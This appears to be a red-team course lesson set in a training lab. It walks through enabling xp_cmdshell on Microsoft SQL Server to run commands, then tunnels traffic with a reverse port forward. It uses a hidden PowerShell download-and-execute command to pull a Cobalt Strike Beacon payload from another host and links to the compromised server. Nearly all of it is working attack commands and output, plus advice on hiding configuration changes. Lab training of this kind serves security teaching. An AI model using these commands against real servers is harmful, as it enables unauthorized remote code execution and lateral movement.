MS SQL Command Execution

The xp_cmdshell procedure can be used to execute shell commands on the SQL server if you have sysadmin privileges. Invoke-SQLOSCmd from PowerUpSQL provides a simple means of using it.

beacon> powershell Invoke-SQLOSCmd -Instance "sql-2.dev.cyberbotic.io,1433" -Command "whoami" -RawResults

dev\mssql_svc

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The same will fail if you try manually in Heidi or mssqlclient, because xp_cmdshell is disabled.

SQL> EXEC xp_cmdshell 'whoami';
[-] ERROR(SQL-2): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server.

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To enumerate the current state of xp_cmdshell, use:

SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell';

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A value of 0 shows that xp_cmdshell is disabled. To enable it:

sp_configure 'Show Advanced Options', 1; RECONFIGURE;
sp_configure 'xp_cmdshell', 1; RECONFIGURE;

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Query sys.configurations again and the xp_cmdshell value should be 1; and xp_cmdshell will also now work.

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OPSEC If you're going to make this type of configuration change to a target, you must ensure you set it back to its original value afterwards. The reason this works with Invoke-SQLOSCmd is because it will automatically attempt to enable xp_cmdshell if it's not already, execute the given command, and then disable it again. This is a good example of why you should study your tools before you use them, so you know what is happening under the hood.

With command execution, we can work towards executing a Beacon payload. As with other servers in the lab, the SQL servers cannot talk directly to our team server in order to download a hosted payload. Instead, we must setup a reverse port forward to tunnel that traffic through our C2 chain.

beacon> run hostname
wkstn-2

beacon> getuid
[*] You are DEV\bfarmer (admin)

beacon> powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080

beacon> rportfwd 8080 127.0.0.1 80
[+] started reverse port forward on 8080 to 127.0.0.1:80

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Next, host smb_x64.ps1 at /b on the team server. We know SMB will work because we can validate that port 445 is open on the target SQL server.

beacon> portscan 10.10.122.25 445
(ICMP) Target '10.10.122.25' is alive. [read 8 bytes]
10.10.122.25:445 (platform: 500 version: 10.0 name: SQL-2 domain: DEV)
Scanner module is complete

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We can now download and execute the payload.

EXEC xp_cmdshell 'powershell -w hidden -c "iex (new-object net.webclient).downloadstring("""http://wkstn-2:8080/b""")"';

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Keep an eye on your web log so you know when the payload has been fetched.

01/05 15:09:07 visit (port 80) from: 127.0.0.1
	Request: GET /b
	page Serves /home/attacker/cobaltstrike/uploads/smb_x64.ps1
	null

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You can then link to the Beacon.

beacon> link sql-2.dev.cyberbotic.io TSVCPIPE-ae2b7dc0-4ebe-4975-b8a0-06e990a41337
[+] established link to child beacon: 10.10.122.25

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What payload would you use if port 445 was closed? Experiment with using the pivot listener here instead of SMB.